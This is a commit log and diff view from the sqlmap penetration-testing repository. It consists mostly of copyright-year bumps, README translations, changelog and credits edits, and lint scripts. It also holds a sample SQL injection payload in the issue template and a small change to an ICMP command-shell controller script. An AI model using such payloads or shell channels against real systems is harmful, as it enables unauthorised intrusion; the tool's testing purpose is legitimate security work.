Miroslav Stampar 148d1c9ff9 Fixes #3037 2018-04-11 15:19:44 +02:00
Miroslav Stampar a8cb14ed4a Minor patch (disable tamper script usage in WAF/IDS/IPS check phase) 2018-04-11 14:48:54 +02:00
Miroslav Stampar c634f0b0d6 Patch related to the #3041 2018-04-11 13:14:09 +02:00
Miroslav Stampar 8605c49911 Update related to the #3039 2018-04-11 13:06:47 +02:00
Miroslav Stampar 44f6951dfe Update of xml/banner files 2018-04-10 11:35:39 +02:00
Miroslav Stampar b5b32c951c Minor update 2018-04-10 11:03:08 +02:00
Miroslav Stampar a9c3b59cff Update related to the #2999 2018-04-09 12:14:46 +02:00
Miroslav Stampar 4528cb014d Minor just in case patch 2018-04-09 12:05:08 +02:00
Miroslav Stampar 2c5f976993 Fixes #3035 2018-04-09 11:34:50 +02:00
Miroslav Stampar 4f2669a45a Fixes #3030 2018-04-06 01:13:04 +02:00
Miroslav Stampar 641838ed73 Minor update 2018-04-06 01:06:58 +02:00
Miroslav Stampar 2a681b7bd6 Fixes #3027 2018-04-05 12:25:41 +02:00
Miroslav Stampar 7f3f1dcdee Fixes #3022 2018-04-03 12:50:09 +02:00
Miroslav Stampar 4147f44e63 Potential patch for Issues like #3013 and #3017 2018-04-01 12:45:47 +02:00
392 changed files with 5338 additions and 3369 deletions
+1 -1
View File
@@ -19,7 +19,7 @@
* Client OS (e.g. `Microsoft Windows 10`) * Client OS (e.g. `Microsoft Windows 10`)
* Program version (`python sqlmap.py --version` or `sqlmap --version` depending on installation): * Program version (`python sqlmap.py --version` or `sqlmap --version` depending on installation):
* Target DBMS (e.g. `Microsoft SQL Server`): * Target DBMS (e.g. `Microsoft SQL Server`):
* Detected WAF/IDS/IPS protection (e.g. `ModSecurity` or `unknown`): * Detected WAF/IPS protection (e.g. `ModSecurity` or `unknown`):
* SQLi techniques found by sqlmap (e.g. `error-based` and `boolean-based blind`): * SQLi techniques found by sqlmap (e.g. `error-based` and `boolean-based blind`):
* Results of manual target assessment (e.g. found that the payload `query=test' AND 4113 IN ((SELECT 'foobar'))-- qKLV` works): * Results of manual target assessment (e.g. found that the payload `query=test' AND 4113 IN ((SELECT 'foobar'))-- qKLV` works):
* Relevant console output (if any): * Relevant console output (if any):
+1 -1
View File
@@ -1,7 +1,7 @@
COPYING -- Describes the terms under which sqlmap is distributed. A copy COPYING -- Describes the terms under which sqlmap is distributed. A copy
of the GNU General Public License (GPL) is appended to this file. of the GNU General Public License (GPL) is appended to this file.
sqlmap is (C) 2006-2018 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. sqlmap is (C) 2006-2019 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
This program is free software; you may redistribute and/or modify it under This program is free software; you may redistribute and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free
+4 -2
View File
@@ -1,10 +1,10 @@
# sqlmap # sqlmap
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap) [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/?utm_source=github.com&utm_medium=referral&utm_content=sqlmap+repo&utm_campaign=generic+advert).** **The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/scan-website-security-issues/?utm_source=sqlmap.org&utm_medium=banner&utm_campaign=github).**
Screenshots Screenshots
---- ----
@@ -64,5 +64,7 @@ Translations
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md) * [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md) * [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) * [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
* [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md) * [Spanish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-es-MX.md)
* [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md) * [Turkish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-tr-TR.md)
* [Ukrainian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-uk-UA.md)
+4 -4
View File
@@ -3,7 +3,7 @@
* Implemented support for automatic decoding of page content through detected charset. * Implemented support for automatic decoding of page content through detected charset.
* Implemented mechanism for proper data dumping on DBMSes not supporting `LIMIT/OFFSET` like mechanism(s) (e.g. Microsoft SQL Server, Sybase, etc.). * Implemented mechanism for proper data dumping on DBMSes not supporting `LIMIT/OFFSET` like mechanism(s) (e.g. Microsoft SQL Server, Sybase, etc.).
* Major improvements to program stabilization based on user reports. * Major improvements to program stabilization based on user reports.
* Added new tampering scripts avoiding popular WAF/IPS/IDS mechanisms. * Added new tampering scripts avoiding popular WAF/IPS mechanisms.
* Fixed major bug with DNS leaking in Tor mode. * Fixed major bug with DNS leaking in Tor mode.
* Added wordlist compilation made of the most popular cracking dictionaries. * Added wordlist compilation made of the most popular cracking dictionaries.
* Implemented multi-processor hash cracking routine(s). * Implemented multi-processor hash cracking routine(s).
@@ -23,7 +23,7 @@
* Added option `--csv-del` for manually setting delimiting character used in CSV output. * Added option `--csv-del` for manually setting delimiting character used in CSV output.
* Added switch `--hex` for using DBMS hex conversion function(s) for data retrieval. * Added switch `--hex` for using DBMS hex conversion function(s) for data retrieval.
* Added switch `--smart` for conducting through tests only in case of positive heuristic(s). * Added switch `--smart` for conducting through tests only in case of positive heuristic(s).
* Added switch `--check-waf` for checking of existence of WAF/IPS/IDS protection. * Added switch `--check-waf` for checking of existence of WAF/IPS protection.
* Added switch `--schema` to enumerate DBMS schema: shows all columns of all databases' tables. * Added switch `--schema` to enumerate DBMS schema: shows all columns of all databases' tables.
* Added switch `--count` to count the number of entries for a specific table or all database(s) tables. * Added switch `--count` to count the number of entries for a specific table or all database(s) tables.
* Major improvements to switches `--tables` and `--columns`. * Major improvements to switches `--tables` and `--columns`.
@@ -55,7 +55,7 @@
* Added option `--host` to set the HTTP Host header value. * Added option `--host` to set the HTTP Host header value.
* Added switch `--hostname` to turn on retrieval of DBMS server hostname. * Added switch `--hostname` to turn on retrieval of DBMS server hostname.
* Added switch `--hpp` to turn on the usage of HTTP parameter pollution WAF bypass method. * Added switch `--hpp` to turn on the usage of HTTP parameter pollution WAF bypass method.
* Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS/IDS protection. * Added switch `--identify-waf` for turning on the thorough testing of WAF/IPS protection.
* Added switch `--ignore-401` to ignore HTTP Error Code 401 (Unauthorized). * Added switch `--ignore-401` to ignore HTTP Error Code 401 (Unauthorized).
* Added switch `--invalid-bignum` for usage of big numbers while invalidating values. * Added switch `--invalid-bignum` for usage of big numbers while invalidating values.
* Added switch `--invalid-logical` for usage of logical operations while invalidating values. * Added switch `--invalid-logical` for usage of logical operations while invalidating values.
@@ -78,7 +78,7 @@
* Added option `--skip` to skip testing of given parameter(s). * Added option `--skip` to skip testing of given parameter(s).
* Added switch `--skip-static` to skip testing parameters that not appear to be dynamic. * Added switch `--skip-static` to skip testing parameters that not appear to be dynamic.
* Added switch `--skip-urlencode` to skip URL encoding of payload data. * Added switch `--skip-urlencode` to skip URL encoding of payload data.
* Added switch `--skip-waf` to skip heuristic detection of WAF/IPS/IDS protection. * Added switch `--skip-waf` to skip heuristic detection of WAF/IPS protection.
* Added switch `--smart` to conduct thorough tests only if positive heuristic(s). * Added switch `--smart` to conduct thorough tests only if positive heuristic(s).
* Added option `--sql-file` for setting file(s) holding SQL statements to be executed (in case of stacked SQLi). * Added option `--sql-file` for setting file(s) holding SQL statements to be executed (in case of stacked SQLi).
* Added switch `--sqlmap-shell` to turn on interactive sqlmap shell prompt. * Added switch `--sqlmap-shell` to turn on interactive sqlmap shell prompt.
+4
View File
@@ -565,6 +565,9 @@ Efrain Torres, <et(at)metasploit.com>
* for helping out to improve the Metasploit Framework sqlmap auxiliary module and for committing it on the Metasploit official subversion repository * for helping out to improve the Metasploit Framework sqlmap auxiliary module and for committing it on the Metasploit official subversion repository
* for his great Metasploit WMAP Framework * for his great Metasploit WMAP Framework
Jennifer Torres, <jtorresf42(at)gmail.com>
* for contributing a tamper script luanginx.py
Sandro Tosi, <matrixhasu(at)gmail.com> Sandro Tosi, <matrixhasu(at)gmail.com>
* for helping to create sqlmap Debian package correctly * for helping to create sqlmap Debian package correctly
@@ -597,6 +600,7 @@ Carlos Gabriel Vergara, <carlosgabrielvergara(at)gmail.com>
Patrick Webster, <patrick(at)aushack.com> Patrick Webster, <patrick(at)aushack.com>
* for suggesting an enhancement * for suggesting an enhancement
* for donating to sqlmap development (from OSI.Security)
Ed Williams, <ed.williams(at)ngssecure.com> Ed Williams, <ed.williams(at)ngssecure.com>
* for suggesting a minor enhancement * for suggesting a minor enhancement
+50
View File
@@ -0,0 +1,50 @@
# sqlmap
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
sqlmap - это инструмент для тестирования уязвимостей с открытым исходным кодом, который автоматизирует процесс обнаружения и использования ошибок SQL-инъекций и захвата серверов баз данных. Он оснащен мощным механизмом обнаружения, множеством приятных функций для профессионального тестера уязвимостей и широким спектром скриптов, которые упрощают работу с базами данных, от сбора данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединение.
Скриншоты
----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Вы можете посетить [набор скриншотов](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) демонстрируемые некоторые функции в wiki.
Установка
----
Вы можете скачать последнюю версию tarball, нажав [сюда](https://github.com/sqlmapproject/sqlmap/tarball/master) или последний zipball, нажав [сюда](https://github.com/sqlmapproject/sqlmap/zipball/master).
Предпочтительно вы можете загрузить sqlmap, клонируя [Git](https://github.com/sqlmapproject/sqlmap) репозиторий:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap работает из коробки с [Python](http://www.python.org/download/) версии **2.6.x** и **2.7.x** на любой платформе.
Использование
----
Чтобы получить список основных опций и вариантов выбора, используйте:
python sqlmap.py -h
Чтобы получить список всех опций и вариантов выбора, используйте:
python sqlmap.py -hh
Вы можете найти пробный запуск [тут](https://asciinema.org/a/46601).
Чтобы получить обзор возможностей sqlmap, список поддерживаемых функций и описание всех параметров и переключателей, а также примеры, вам рекомендуется ознакомится с [пользовательским мануалом](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Ссылки
----
* Основной сайт: http://sqlmap.org
* Скачивание: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) или [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Канал новостей RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Отслеживание проблем: https://github.com/sqlmapproject/sqlmap/issues
* Пользовательский мануал: https://github.com/sqlmapproject/sqlmap/wiki
* Часто задаваемые вопросы (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
* Демки: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
* Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+50
View File
@@ -0,0 +1,50 @@
# sqlmap
[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/[email protected])](https://twitter.com/sqlmap)
sqlmap - це інструмент для тестування вразливостей з відкритим сирцевим кодом, який автоматизує процес виявлення і використання дефектів SQL-ін'єкцій, а також захоплення серверів баз даних. Він оснащений потужним механізмом виявлення, безліччю приємних функцій для професійного тестувальника вразливостей і широким спектром скриптів, які спрощують роботу з базами даних - від відбитка бази даних до доступу до базової файлової системи та виконання команд в операційній системі через out-of-band з'єднання.
Скриншоти
----
![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png)
Ви можете ознайомитися з [колекцією скриншотів](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), які демонструють деякі функції в wiki.
Встановлення
----
Ви можете завантажити останню версію tarball натиснувши [сюди](https://github.com/sqlmapproject/sqlmap/tarball/master) або останню версію zipball натиснувши [сюди](https://github.com/sqlmapproject/sqlmap/zipball/master).
Найкраще завантажити sqlmap шляхом клонування [Git](https://github.com/sqlmapproject/sqlmap) репозиторію:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
sqlmap «працює з коробки» з [Python](http://www.python.org/download/) версії **2.6.x** та **2.7.x** на будь-якій платформі.
Використання
----
Щоб отримати список основних опцій і перемикачів, використовуйте:
python sqlmap.py -h
Щоб отримати список всіх опцій і перемикачів, використовуйте:
python sqlmap.py -hh
Ви можете знайти приклад виконання [тут](https://asciinema.org/a/46601).
Для того, щоб ознайомитися з можливостями sqlmap, списком підтримуваних функцій та описом всіх параметрів і перемикачів, а також прикладами, вам рекомендується скористатися [інструкцією користувача](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
Посилання
----
* Основний сайт: http://sqlmap.org
* Завантаження: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) або [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master)
* Канал новин RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom
* Відстеження проблем: https://github.com/sqlmapproject/sqlmap/issues
* Інструкція користувача: https://github.com/sqlmapproject/sqlmap/wiki
* Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
* Twitter: [@sqlmap](https://twitter.com/sqlmap)
* Демо: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos)
* Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -3,7 +3,7 @@
""" """
beep.py - Make a beep sound beep.py - Make a beep sound
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -3,7 +3,7 @@
""" """
cloak.py - Simple file encryption/compression utility cloak.py - Simple file encryption/compression utility
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -3,7 +3,7 @@
""" """
dbgtool.py - Portable executable to ASCII debug script converter dbgtool.py - Portable executable to ASCII debug script converter
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+7 -3
View File
@@ -80,7 +80,7 @@ def main(src, dst):
cmd = '' cmd = ''
# Wait for incoming replies # Wait for incoming replies
if sock in select.select([ sock ], [], [])[0]: if sock in select.select([sock], [], [])[0]:
buff = sock.recv(4096) buff = sock.recv(4096)
if 0 == len(buff): if 0 == len(buff):
@@ -125,8 +125,12 @@ def main(src, dst):
# Have the IP packet contain the ICMP packet (along with its payload) # Have the IP packet contain the ICMP packet (along with its payload)
ip.contains(icmp) ip.contains(icmp)
# Send it to the target host try:
sock.sendto(ip.get_packet(), (dst, 0)) # Send it to the target host
sock.sendto(ip.get_packet(), (dst, 0))
except socket.error, ex:
sys.stderr.write("'%s'\n" % ex)
sys.stderr.flush()
if __name__ == '__main__': if __name__ == '__main__':
if len(sys.argv) < 3: if len(sys.argv) < 3:
-137
View File
@@ -1,137 +0,0 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import codecs
import os
import re
import urllib2
import urlparse
from xml.dom.minidom import Document
# Path to the XML file with signatures
MSSQL_XML = os.path.abspath("../../xml/banner/mssql.xml")
# Url to update Microsoft SQL Server XML versions file from
MSSQL_VERSIONS_URL = "http://www.sqlsecurity.com/FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx"
def updateMSSQLXML():
if not os.path.exists(MSSQL_XML):
errMsg = "[ERROR] file '%s' does not exist. Please run the script from its parent directory" % MSSQL_XML
print errMsg
return
infoMsg = "[INFO] retrieving data from '%s'" % MSSQL_VERSIONS_URL
print infoMsg
try:
req = urllib2.Request(MSSQL_VERSIONS_URL)
f = urllib2.urlopen(req)
mssqlVersionsHtmlString = f.read()
f.close()
except urllib2.URLError:
__mssqlPath = urlparse.urlsplit(MSSQL_VERSIONS_URL)
__mssqlHostname = __mssqlPath[1]
warnMsg = "[WARNING] sqlmap was unable to connect to %s," % __mssqlHostname
warnMsg += " check your Internet connection and retry"
print warnMsg
return
releases = re.findall("class=\"BCC_DV_01DarkBlueTitle\">SQL Server\s(.+?)\sBuilds", mssqlVersionsHtmlString, re.I)
releasesCount = len(releases)
# Create the minidom document
doc = Document()
# Create the <root> base element
root = doc.createElement("root")
doc.appendChild(root)
for index in xrange(0, releasesCount):
release = releases[index]
# Skip Microsoft SQL Server 6.5 because the HTML
# table is in another format
if release == "6.5":
continue
# Create the <signatures> base element
signatures = doc.createElement("signatures")
signatures.setAttribute("release", release)
root.appendChild(signatures)
startIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index])
if index == releasesCount - 1:
stopIdx = len(mssqlVersionsHtmlString)
else:
stopIdx = mssqlVersionsHtmlString.index("SQL Server %s Builds" % releases[index + 1])
mssqlVersionsReleaseString = mssqlVersionsHtmlString[startIdx:stopIdx]
servicepackVersion = re.findall("</td><td>(7\.0|2000|2005|2008|2008 R2)*(.*?)</td><td.*?([\d\.]+)</td>[\r]*\n", mssqlVersionsReleaseString, re.I)
for servicePack, version in servicepackVersion:
if servicePack.startswith(" "):
servicePack = servicePack[1:]
if "/" in servicePack:
servicePack = servicePack[:servicePack.index("/")]
if "(" in servicePack:
servicePack = servicePack[:servicePack.index("(")]
if "-" in servicePack:
servicePack = servicePack[:servicePack.index("-")]
if "*" in servicePack:
servicePack = servicePack[:servicePack.index("*")]
if servicePack.startswith("+"):
servicePack = "0%s" % servicePack
servicePack = servicePack.replace("\t", " ")
servicePack = servicePack.replace("No SP", "0")
servicePack = servicePack.replace("RTM", "0")
servicePack = servicePack.replace("TM", "0")
servicePack = servicePack.replace("SP", "")
servicePack = servicePack.replace("Service Pack", "")
servicePack = servicePack.replace("<a href=\"http:", "")
servicePack = servicePack.replace(" ", " ")
servicePack = servicePack.replace("+ ", "+")
servicePack = servicePack.replace(" +", "+")
if servicePack.endswith(" "):
servicePack = servicePack[:-1]
if servicePack and version:
# Create the main <card> element
signature = doc.createElement("signature")
signatures.appendChild(signature)
# Create a <version> element
versionElement = doc.createElement("version")
signature.appendChild(versionElement)
# Give the <version> elemenet some text
versionText = doc.createTextNode(version)
versionElement.appendChild(versionText)
# Create a <servicepack> element
servicepackElement = doc.createElement("servicepack")
signature.appendChild(servicepackElement)
# Give the <servicepack> elemenet some text
servicepackText = doc.createTextNode(servicePack)
servicepackElement.appendChild(servicepackText)
# Save our newly created XML to the signatures file
mssqlXml = codecs.open(MSSQL_XML, "w", "utf8")
doc.writexml(writer=mssqlXml, addindent=" ", newl="\n")
mssqlXml.close()
infoMsg = "[INFO] done. retrieved data parsed and saved into '%s'" % MSSQL_XML
print infoMsg
if __name__ == "__main__":
updateMSSQLXML()
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -3,7 +3,7 @@
""" """
safe2bin.py - Simple safe(hex) to binary format converter safe2bin.py - Simple safe(hex) to binary format converter
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,6 +1,6 @@
#!/usr/bin/env python #!/usr/bin/env python
# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Removes duplicate entries in wordlist like files # Removes duplicate entries in wordlist like files
+30
View File
@@ -0,0 +1,30 @@
#! /usr/bin/env python
# Runs pylint on all python scripts found in a directory tree
# Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html
import os
import sys
def check(filepath):
if filepath.endswith(".py"):
content = open(filepath, "rb").read()
if "\n\n\n" in content:
index = content.find("\n\n\n")
print filepath, repr(content[index - 30:index + 30])
if __name__ == "__main__":
try:
BASE_DIRECTORY = sys.argv[1]
except IndexError:
print "no directory specified, defaulting to current working directory"
BASE_DIRECTORY = os.getcwd()
print "looking for *.py scripts in subdirectories of ", BASE_DIRECTORY
for root, dirs, files in os.walk(BASE_DIRECTORY):
if any(_ in root for _ in ("extra", "thirdparty")):
continue
for name in files:
filepath = os.path.join(root, name)
check(filepath)
-7
View File
@@ -1,7 +0,0 @@
#!/bin/bash
# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
# Runs pep8 on all python files (prerequisite: apt-get install pep8)
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pep8 '{}' \;
+10
View File
@@ -1,5 +1,15 @@
#!/bin/bash #!/bin/bash
: '
cat > .git/hooks/post-commit << EOF
#!/bin/bash
source ./extra/shutils/postcommit-hook.sh
EOF
chmod +x .git/hooks/post-commit
'
SETTINGS="../../lib/core/settings.py" SETTINGS="../../lib/core/settings.py"
declare -x SCRIPTPATH="${0}" declare -x SCRIPTPATH="${0}"
+10
View File
@@ -1,5 +1,15 @@
#!/bin/bash #!/bin/bash
: '
cat > .git/hooks/pre-commit << EOF
#!/bin/bash
source ./extra/shutils/precommit-hook.sh
EOF
chmod +x .git/hooks/pre-commit
'
PROJECT="../../" PROJECT="../../"
SETTINGS="../../lib/core/settings.py" SETTINGS="../../lib/core/settings.py"
CHECKSUM="../../txt/checksum.md5" CHECKSUM="../../txt/checksum.md5"
+7
View File
@@ -0,0 +1,7 @@
#!/bin/bash
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission
# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle)
find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pycodestyle --ignore=E501,E302,E305,E722,E402 '{}' \;
+5 -4
View File
@@ -16,7 +16,7 @@ cat > $TMP_DIR/setup.py << EOF
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -25,10 +25,11 @@ from setuptools import setup, find_packages
setup( setup(
name='sqlmap', name='sqlmap',
version='$VERSION', version='$VERSION',
description="Automatic SQL injection and database takeover tool", description='Automatic SQL injection and database takeover tool',
long_description='sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.',
author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar', author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar',
author_email='[email protected], [email protected]', author_email='[email protected], [email protected]',
url='https://sqlmap.org', url='http://sqlmap.org',
download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip', download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip',
license='GNU General Public License v2 (GPLv2)', license='GNU General Public License v2 (GPLv2)',
packages=find_packages(), packages=find_packages(),
@@ -60,7 +61,7 @@ cat > sqlmap/__init__.py << EOF
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+3 -3
View File
@@ -1,6 +1,6 @@
#!/usr/bin/env python #!/usr/bin/env python
# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) # Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
import codecs import codecs
@@ -27,7 +27,7 @@ SMTP_SERVER = "127.0.0.1"
SMTP_PORT = 25 SMTP_PORT = 25
SMTP_TIMEOUT = 30 SMTP_TIMEOUT = 30
FROM = "[email protected]" FROM = "[email protected]"
#TO = "[email protected]" # TO = "[email protected]"
TO = ["[email protected]", "[email protected]"] TO = ["[email protected]", "[email protected]"]
SUBJECT = "regression test started on %s using revision %s" % (START_TIME, getRevisionNumber()) SUBJECT = "regression test started on %s using revision %s" % (START_TIME, getRevisionNumber())
TARGET = "debian" TARGET = "debian"
@@ -83,7 +83,7 @@ def main():
if stderr: if stderr:
failure_email("Execution of regression test failed with error:\n\n%s" % stderr) failure_email("Execution of regression test failed with error:\n\n%s" % stderr)
